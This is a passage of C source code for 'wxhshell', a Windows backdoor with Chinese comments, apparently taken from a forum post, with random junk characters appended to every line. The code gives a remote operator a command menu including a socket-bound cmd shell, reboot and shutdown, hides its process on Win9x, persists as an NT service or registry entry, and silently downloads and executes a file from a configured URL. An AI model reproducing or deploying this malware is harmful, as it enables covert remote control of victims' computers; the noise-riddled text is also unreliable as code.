  else { _)Qt,$  
>a4Bfnf"eI  
    switch(cmd[0]) { )i!)Tv  
  RmNF]"3%  
  // 帮助 qw, >~  
  case '?': { 0N T3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |d`?wm-  
    break; 9hguC yr@h  
  } t o?"{  
  // 安装 @pS[_!EqYz  
  case 'i': { S i>TG  
    if(Install()) 3o^V$N.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v'@LuF'e8  
    else sN?:9J8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r2Z`4tN:  
    break; & {/ u>,  
    } "Q J-IRt &  
  // 卸载 O~Fk0}-  
  case 'r': { rFK *  
    if(Uninstall()) ~w*ojI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #62ww-E~  
    else p-6.:y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )I$Mh@F  
    break; 6FmgK"t8  
    } 7>mYD3  
  // 显示 wxhshell 所在路径 )/pPY  
  case 'p': { Z"^@B2v  
    char svExeFile[MAX_PATH]; YOoP]0'L  
    strcpy(svExeFile,"\n\r"); Cwh;+3?C|  
      strcat(svExeFile,ExeFile); $G}Q}f  
        send(wsh,svExeFile,strlen(svExeFile),0); N~kYT\$b#  
    break; ;C<A }  
    } +~v(*s C  
  // 重启 #e=^-yE  
  case 'b': { od fu7P_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -XyuA:pxx  
    if(Boot(REBOOT)) /Rz,2jfRx'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Os Ritj  
    else { ?C{N0?[P-  
    closesocket(wsh); 1mV0AE538  
    ExitThread(0); Z}C%%2Iz  
    } lq5E?B  
    break; /km3L7L%R  
    } Jp#cFUa t  
  // 关机 I$LO0avvH2  
  case 'd': { 'W*F[U*&HP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *S4P'JSY  
    if(Boot(SHUTDOWN)) 5=986ci$U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 JtG&^*  
    else { xL"% 2nf  
    closesocket(wsh); M2S|$6t:  
    ExitThread(0); FM)*>ax{  
    } ~-%A@Lt  
    break; : \OvVS/  
    } Y5CE#&  
  // 获取shell XEEbmIO*<9  
  case 's': { NZ5~\k  
    CmdShell(wsh); A'8K^,<  
    closesocket(wsh); '7R'fhiO/3  
    ExitThread(0); m~eWQ_a]C@  
    break; xn8B|axB  
  } c,wU?8Nc|$  
  // 退出 4vS!99v)  
  case 'x': { B vc=gW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y~jIA p  
    CloseIt(wsh); sD +G+  
    break; ^nF$<#a  
    } &:*+p-!2<  
  // 离开 *Rh .s!@4  
  case 'q': { \[EWxu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~7a BeD  
    closesocket(wsh); fZ fiiE~7J  
    WSACleanup(); 5I,X#}K[  
    exit(1); z]AS@}wWqg  
    break; % cdP*  
        } jt--w"|-r  
  } h';v'"DoW`  
  } 7F:;3c  
;@ X   
  // 提示信息 2kq@*}ys  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ! hr@{CD  
} _ n4ma  
  } D  .R  
*8H;KGe=  
  return; 86F+N_>Z  
} {Y%=/ba W  
-yGm^EwP  
// shell模块句柄 ^X%4@,AE  
int CmdShell(SOCKET sock) [+,U0OV,  
{ L"6/"L  
STARTUPINFO si; L6=RD<~C  
ZeroMemory(&si,sizeof(si)); H)aC'M^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Yj/nzTVJ[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d|+jCTKS  
PROCESS_INFORMATION ProcessInfo; ?Hxgx  
char cmdline[]="cmd"; XPo'iI-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 91d`LsP  
  return 0; bvS\P!m\c  
} Z*)Y:tk)b  
6FIoWG"x  
// 自身启动模式 |0R%!v(,  
int StartFromService(void) WTv\HI2X !  
{ Y6? mY!  
typedef struct Mv`LF  
{ R&_\&:4f  
  DWORD ExitStatus; *Q120R  
  DWORD PebBaseAddress; ff./DMDafI  
  DWORD AffinityMask; YkAWKCOni  
  DWORD BasePriority; xj q7%R_,  
  ULONG UniqueProcessId; J K]tcP  
  ULONG InheritedFromUniqueProcessId; jTUf4&b-  
}   PROCESS_BASIC_INFORMATION; yxWMatZ2  
fy>And*  
PROCNTQSIP NtQueryInformationProcess; r5da/*G/O  
}cK~=@7tK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R{KIkv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rjQhU%zv  
^pV>b(?qw  
  HANDLE             hProcess; xP6?es`  
  PROCESS_BASIC_INFORMATION pbi; C9Z\G 3  
)Z]y.W)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "zIq)PY  
  if(NULL == hInst ) return 0; =>z tBw\  
b hr E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #!u51P1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l8AEEG8>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [H:GKhPC`  
:Ip:sRz  
  if (!NtQueryInformationProcess) return 0; o),6o'w(  
b'oGt,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [aM'  
  if(!hProcess) return 0; V>jhGf  
l*\~ew   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dbuJ~?D,  
wAl}:|+n  
  CloseHandle(hProcess); !MJe+.  
zIm_7\e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =e!l=d|/  
if(hProcess==NULL) return 0; X:``{!~geo  
~l*?D7[o  
HMODULE hMod; D_n}p8blT  
char procName[255]; iA3>X-x   
unsigned long cbNeeded; 2Jo~m_  
:9F''f$AP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M9s43XL(&  
Gkv~e?Kc~^  
  CloseHandle(hProcess); T4~`e_  
t.E4Tqzc>  
if(strstr(procName,"services")) return 1; // 以服务启动  Vp] D  
p>:ef<.i  
  return 0; // 注册表启动 JpxbB)/  
} @ <OO  
$' (QTEM  
// 主模块 x9)aBB  
int StartWxhshell(LPSTR lpCmdLine) %/y`<lJz(  
{ ;;?vgrz  
  SOCKET wsl; .B'UQ|NR  
BOOL val=TRUE; ',JrY)  
  int port=0; ^.D}k  
  struct sockaddr_in door;  k6O. H  
;Rhb@]X  
  if(wscfg.ws_autoins) Install(); rps(Jos_~  
.~q)eV  
port=atoi(lpCmdLine); !.3R~0b  
o#xgrMB  
if(port<=0) port=wscfg.ws_port; 69C8-fF0[I  
pd4cg?K  
  WSADATA data; B f5&}2u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sn-)(XU!  
F&QTL-pQW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X*sr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s) Cpi  
  door.sin_family = AF_INET; IS[Vap:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }xDB ~k  
  door.sin_port = htons(port); M[aT2A  
a`H\-G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F#(.v7Za  
closesocket(wsl); u12zRdn  
return 1; -<^jGrb  
} =- $!:W~  
3{<R5wUo"  
  if(listen(wsl,2) == INVALID_SOCKET) {  YywEZ?X  
closesocket(wsl); NJ ZXs_%>$  
return 1; h|bqyu  
} M@|w[ydQG  
  Wxhshell(wsl); GR,J0LT   
  WSACleanup(); -$U@By<SJ  
#gh p/YoTq  
return 0; 2~f6~\4GL+  
NQ? x8h3  
} /b.$jnqL  
ajW[eyX  
// 以NT服务方式启动 v btAq^1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <^xfcYx\  
{ /H')~!Yz  
DWORD   status = 0; EMLx?JnP  
  DWORD   specificError = 0xfffffff; y-'" >  
O -G1})$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |K%}}g[<e;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9Uk(0A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yI8 SQ$w0y  
  serviceStatus.dwWin32ExitCode     = 0; T?>E{1pS  
  serviceStatus.dwServiceSpecificExitCode = 0; $,TGP+vH  
  serviceStatus.dwCheckPoint       = 0; rJu[ N(2k  
  serviceStatus.dwWaitHint       = 0; h1# S+k  
MEEAQd<*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ls]@icH0  
  if (hServiceStatusHandle==0) return;  l^P#kQA  
GR<c=   
status = GetLastError(); < kz[:n:  
  if (status!=NO_ERROR) _?.\Xc  
{ E/ijvuO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &pM'$}T*  
    serviceStatus.dwCheckPoint       = 0; >V(zJ  
    serviceStatus.dwWaitHint       = 0; 3YW=||;|Yg  
    serviceStatus.dwWin32ExitCode     = status; LP9)zi  
    serviceStatus.dwServiceSpecificExitCode = specificError; ),=@q+{E{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SG:bM7*1'  
    return; Gg|M+M?+  
  } #|Oj]bd(=  
g`n;R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %(`#A.yaE  
  serviceStatus.dwCheckPoint       = 0; If;R?j0;Q  
  serviceStatus.dwWaitHint       = 0; yyP'Z~0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !2$ z *C2;  
} `B:"6nW6  
]dG\j^e|  
// 处理NT服务事件,比如:启动、停止 7d ;pvhnH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A "S/^<  
{ $w)~xE5;  
switch(fdwControl) G`F8!O(  
{ DK6? E\<  
case SERVICE_CONTROL_STOP: WhFS2Jl0  
  serviceStatus.dwWin32ExitCode = 0; vX;HC'%n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~zF2`.  
  serviceStatus.dwCheckPoint   = 0; 'eyJS`  
  serviceStatus.dwWaitHint     = 0; G 4qy*.  
  { pZk6 w1d!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gf0,RH+  
  } Gr: 3{o`  
  return; yfEb  
case SERVICE_CONTROL_PAUSE: &:3Z.G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c2*`2qK#  
  break; RJ~ %0  
case SERVICE_CONTROL_CONTINUE: tHh HrMxO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \:v$ZEDJ>  
  break; +th%enRB  
case SERVICE_CONTROL_INTERROGATE: _w(ln9   
  break; }T.?c9l X  
}; +}@ 8p[`)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i ev>9j  
} HjA_g0u  
{G3i0 r  
// 标准应用程序主函数 g=l:cVr8y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l! v!hUb+  
{ syPWs57pH  
eV7 u*d?  
// 获取操作系统版本 aWy]9F&C:  
OsIsNt=GetOsVer(); +f NvNbtA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vq!uD!lr  
MCc$TttaVz  
  // 从命令行安装 bZ 443SG  
  if(strpbrk(lpCmdLine,"iI")) Install(); z@Hp,|Vy[  
Q_p[k KH  
  // 下载执行文件 8VQ 24r  
if(wscfg.ws_downexe) { PRB{VC<k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PdeBDFWD  
  WinExec(wscfg.ws_filenam,SW_HIDE); lfN~A"X  
} o)Z=m:t,lK  
$` VFdAe  
if(!OsIsNt) { bh p5<N  
// 如果时win9x,隐藏进程并且设置为注册表启动 1HT_  
HideProc(); `ln1$  
StartWxhshell(lpCmdLine); 58V[mlW)O0  
} 1.U`D\7mb  
else i38[hQR9a  
  if(StartFromService()) MXD4|r(  
  // 以服务方式启动 ^W?Z  
  StartServiceCtrlDispatcher(DispatchTable); <Fz~7WVd  
else 8, "yNq  
  // 普通方式启动 @>Mxwpl?  
  StartWxhshell(lpCmdLine); 3AcD,,M>>  
:9t4s#.  
return 0; bG F7Zh9  
}
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只看该作者 1 发表于: 2006-10-10
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